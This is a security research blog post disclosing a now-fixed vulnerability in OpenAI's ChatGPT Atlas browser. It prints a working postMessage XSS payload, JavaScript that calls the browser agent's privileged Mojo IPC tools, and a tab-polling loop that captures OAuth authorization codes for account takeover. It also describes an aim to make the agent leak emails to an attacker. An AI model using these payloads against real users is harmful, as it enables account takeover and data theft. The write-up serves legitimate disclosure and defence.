Intro
After finding a Universal XSS vulnerability in Perplexity’s Comet browser, we looked at another AI browser: OpenAI’s ChatGPT Atlas.
Like Comet, Atlas is built on Chromium and ships with an integrated browser agent. We found an interesting bug in it that let us control tabs, watch live browser activity, and capture OAuth tokens for any site, effectively breaking the same-origin policy.
With those OAuth tokens, taking over accounts on platforms like Facebook, Reddit, or GitHub becomes trivial. The PoC when visited by a victim listens to every navigation URL in real time and logs them; by kicking off a GitHub OAuth dance, it can read the GitHub authorization code and then use it to access the victim’s repositories:
Watch atlas OAuth token theft on YouTube
How AI browser agents are built
We quickly noticed that Atlas uses Mojo IPC, which narrowed the entry point for the attack down to an XSS on *.chatgpt.com:
lol gpt has browser now
time to pwn?
oh it uses mojom ipc

lmao find xss on *.chatgpt.com thats an uxss
AI agent browsers share a pattern: a privileged origin can control the browser through an agent interface. In Perplexity’s Comet browser, this was done through a browser extension that let *.perplexity.com origins interact with the extension and invoke arbitrary actions and tools the agent can use.
Atlas uses Mojo IPC instead of an extension. Mojo is Chromium’s inter-process communication mechanism, and Atlas lets privileged pages (*.openai.com) use it to talk to the Chromium browser process and perform actions like opening tabs, navigating to URLs, and more.
OpenAI’s diagram of the Atlas architecture:
Typically, only Chrome internal pages like chrome://downloads or chrome://settings have access to Mojo bindings. They use them to call browser APIs that regular web pages cannot, such as changing system settings or accessing downloaded files on the filesystem.
You can verify this yourself:
Navigate to
chatgpt.comin Atlas (orchrome://downloadsin Google Chrome)Open DevTools console
Type
Mojo, and you’ll see the object is definedNow navigate to any other site like
evil.comType
Mojoagain, and it returnsundefined
Atlas gives every *.chatgpt.com and *.openai.com origin access to Mojo message pipes and bindings.
An overly permissive allowlist
Mojo isn’t normally exposed to web pages for good reason. Exposing it across such a wide domain surface means that finding a single XSS on any of the OpenAI domains lets us call these privileged interfaces.
So we started looking for the XSS.
The hunt for XSS
Similar to our last research, we downloaded several OpenAI subdomains’ source code and fired up Hacktron CLI to find some low-hanging fruit:
hacktron --agent domxssWhile that was running, we started manually reviewing each domain. Although the scope was large, it still took a while to find an XSS bug in the allowlisted domains. Hacktron CLI didn’t find anything quick, and the surface-level JavaScript in login pages didn’t have anything interesting. So we started digging deeper into the JavaScript inside the applications.
postMessage XSS on forums.openai.com
After a few days of painful digging, we noticed an interesting JavaScript pattern in forums.openai.com:
I think i found postnessage sink
👀
Successssssssssssssss
bruhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh????:??????????????
😭
The message listener:
h.useEffect(() => { let e = e => { let {data: t} = e; if ("pushUrl" === t.action) { let {url: e} = t; l(e) } if ("resetUnreadMessageCount" === t.action || "updateReadPosition" === t.action) { let {roomId: e} = t; n(e) && r({ roomId: e }) } }; return window.addEventListener("message", e), () => { window.removeEventListener("message", e) }}For the pushUrl action, the url key value was directly used in a sink without any sanitization. This allowed an easy XSS which could be triggered with a simple PoC:
x = window.open('https://forum.openai.com/chat')x.postMessage( { action: 'pushUrl', url: 'javascript://google.com%0Aalert()' }, '*',)This postMessage listener was only activated on authenticated pages. Overcoming this was simple since the site had a login CSRF vulnerability. The token had a short expiration time, so some automation was needed to prepare a fresh login CSRF link, and we were all set.
The login CSRF proof of concept is on GitHub.
With the XSS in hand, we looked through the Mojo listeners in the browser process for a way to escalate to UXSS or RCE.
Enumerating Mojo IPC calls
There are two ways to enumerate Mojo calls: reverse engineering the binary to understand how things are exposed (hard and time-consuming), or using the Atlas browser normally, instructing the agent to open a URL, then hooking into the relevant JavaScript code that triggers the action.
We came up with an intercepting proxy script that hooks all Mojo calls. The script is quite extensive, but you can get the essence of it by looking at the end, which logs all callable methods:
The full proxy script is on GitHub.
The proxy script base was derived from this JS file. You can find the same by navigating to chatgpt.com and searching for Proxy.createToBrowser:

DevTools search for Proxy.createToBrowser in a chatgpt.com bundle
Available tools
When executed in the context of a page with access to the Mojo object, the script outputs a list of available tools. kaur1br5 is the codename for the tool that controls the browser:
| Tool | Description |
|---|---|
kaur1br5.open_tabs |
Open any URL in new tabs |
kaur1br5.navigate_current_tab |
Navigate active tab to any URL |
kaur1br5.close_tabs |
Close tabs by ID |
kaur1br5.focus_tab |
Focus/switch tabs |
kaur1br5.list_tabs |
Enumerate all open tabs |
kaur1br5.search_browsing_history |
Access browsing history |
kaur1br5.add_bookmark |
Modify bookmarks |
kaur1br5.set_preference |
Modify browser preferences |
kaur1br5.reorder_tabs |
Manipulate tab order |
kaur1br5.set_tab_pinned_state |
Pin/unpin tabs |
Understanding the Mojo interface
We can call any of these tools from our XSS. Calling mojomStart populates the host object:
window.mojomStart = async function () { if (typeof Wt !== 'function' || typeof Lt !== 'function') { console.error('Host functions not loaded. Load other_ready.js first.') return null } let host = Wt() if (!host) { await Lt() host = Wt() } return host || null}The xe class is a wrapper that points to a Proxy class for LinkHandler:
class xe {}a(xe, "interfaceName", "web.bridge.LinkHandler"),a(xe, "interfaceVersion", 0);
// Inside the Proxy class:static createToBrowser() { const [r, N] = this.create(); return Mojo.bindInterface(t.interfaceName, N.pipe.rawHandle), r}
handleLink(r, N) { const c = { url: r, target: N }; this._endpoint.send(z.encode(0, F.None, e, c))}Using handleLink, we can execute JavaScript URIs. Since the call is made from the Host side, it has elevated privileges and can even open internal pages like atlas://downloads:
host = await mojomStart()const [e, n] = Re.Proxy.create()this.host.bindReceiver(n)e.callLocalTool( 'kaur1br5.open_tabs', JSON.stringify({ urls: ['https://example.com'] }),)Accessing LocalToolHandler
To access different web.bridge.* interfaces, you need to tweak the caller. For example, to call web.bridge.LocalToolHandler and access the kaur1br5.* tools:
host = await mojomStart()const [e, n] = Re.Proxy.create()this.host.bindReceiver(n)e.callLocalTool( 'kaur1br5.open_tabs', JSON.stringify({ urls: ['https://example.com'] }),)The Re class implementation provides access to callLocalTool and other methods, which we can use to access the kaur1br5.* tools:
class Re {}a(Re, "interfaceName", "web.bridge.LocalToolHandler"),a(Re, "interfaceVersion", 0);
// Inside the Proxy class:async callLocalTool(u, f) { const d = { toolname: u, args: f }; return (await this._endpoint.sendAndAwaitResponse( z.encode(0, F.None, e, d) )).decode(n).response}
async getToolNames() { const u = {}; return (await this._endpoint.sendAndAwaitResponse( z.encode(1, F.None, s, u) )).decode(i).toolnames}Demonstrating impact with OAuth token theft
With tool access established, we needed to demonstrate severe impact, something like UXSS or RCE.
Failed attempts
Several ideas didn’t work:
We tried bookmark injection. Adding a bookmark with a javascript: URI through kaur1br5.add_bookmark could theoretically work as UXSS if we could navigate to a page and click the bookmark. But we couldn’t click bookmarks programmatically through the agent, so we discarded this approach. Interestingly, we also weren’t able to add javascript: bookmarks.
We also tried a race condition: opening google.com and then navigating the same tab to javascript:alert(origin) might lead to UXSS, as we found in an internal audit of a certain browser. Passing javascript: URIs to kaur1br5.open_tabs and kaur1br5.navigate_current_tab, hoping they’d execute in the current page’s context, also failed.
Last, I spun up Ghidra and started reviewing each Mojo handler, looking for memory corruption issues or any interesting functionality. One handler caught my attention: handleLink uses NSWorkspace.sharedWorkspace.openURL to open external URLs. That could lead to RCE via something like e.handleLink('/System/Applications/Calculator.app/Contents/MacOS/Calculator'). Unfortunately, there’s a check that treats file:// URLs as internal and opens them as tab URLs instead of passing them to the system. If it had treated them as external, we’d be popping calc.
After some more tries, we decided to go the easy way by showing impact with what we have.
The OAuth attack vector
The kaur1br5.list_tabs is an interesting tool. It provides URLs of all tabs open across the Atlas browser in real time. You can continuously call this tool and eavesdrop every single URL that is being opened.
We can leak any browser-navigated URL. That gives us an account-takeover vector for apps that use OAuth or social logins, which is most apps. I won’t claim it’s exactly as bad as UXSS, but somewhere in that territory. I haven’t dug into taking over a ChatGPT account (that OAuth flow is a bit complicated), but the PoC we showed in the intro leaks the GitHub authorization code attached to ChatGPT, and the same pattern applies to other connectors.
We just need to run the following JavaScript in our XSS page with Mojo:
let running = true
async function loopTabs() { const start = Date.now() while (running) { const x = await listTabs() console.info(x[0]?.message ?? 'no message') if (Date.now() - start > 20000) { running = false console.info('Stopped after 20 seconds') break } await new Promise((r) => setTimeout(r, 10)) }}
loopTabs()
openURL( 'https://github.com/login/oauth/authorize?response_type=code&client_id=Iv23liVemv8A9if9v0F2&redirect_uri=https%3A%2F%2Fchatgpt.com%2Fconnector_platform_oauth_redirect&state=oauth_s_68fa41e1b5f081918374314614ad44c2',)This isn’t limited to ChatGPT GitHub Connectors. The same technique works against other OAuth providers such as Reddit and Facebook. For prior art, check out Youssef Sammouda’s Facebook account takeover chain that got him a $44,625 bounty and Frans Rosén’s writeup on “dirty dancing” OAuth flows.
Unlike those chains, this one doesn’t need a URL leakage gadget or an open redirect, because Atlas hands us the URLs directly through the listTabs tool, so the browser itself is the gadget.
We filed the report once we had demonstrable impact, but continued working on further escalation. Our goal was something similar to the Comet hack, launching the agent and instructing it to leak victim emails to an attacker-controlled server, but this didn’t work out. Atlas has a pretty weird agent architecture compared to other browsers, with some interesting attack surface for anyone curious.
Disclosure timeline
-
Vulnerability submitted to OpenAI via Bugcrowd
-
Acknowledged by OpenAI security team
-
Fix deployed in Atlas version 1.2025.288.15
-
Bounty awarded ($5,000)
-
Vulnerability marked as resolved
Conclusion
This is the second AI browser we’ve looked at, and both had overly permissive allowlists exposing powerful APIs. We’re confident there are others with similar issues. Browser security is hard, and even teams with deep expertise struggle with it. Unless you’re dealing with a team as heavily invested in security as Google, OpenAI, or Perplexity, think twice before installing that shiny new AI browser.
About us
Our team includes top-ranked CTF competitors, DEF CON-published researchers, and bug bounty hunters. We’ve hacked browsers, operating systems, mobile apps, desktop software, and large web platforms. Hacktron turns that work into AI agents for offensive security.
If you’re looking to secure your agentic applications, we can help. We’ve hacked Cluely, Cursor, Windsurf, Perplexity Comet, OpenAI Atlas, and many more. We work closely with teams to secure agentic systems.
Meet our team, email hello@hacktron.ai, or contact us.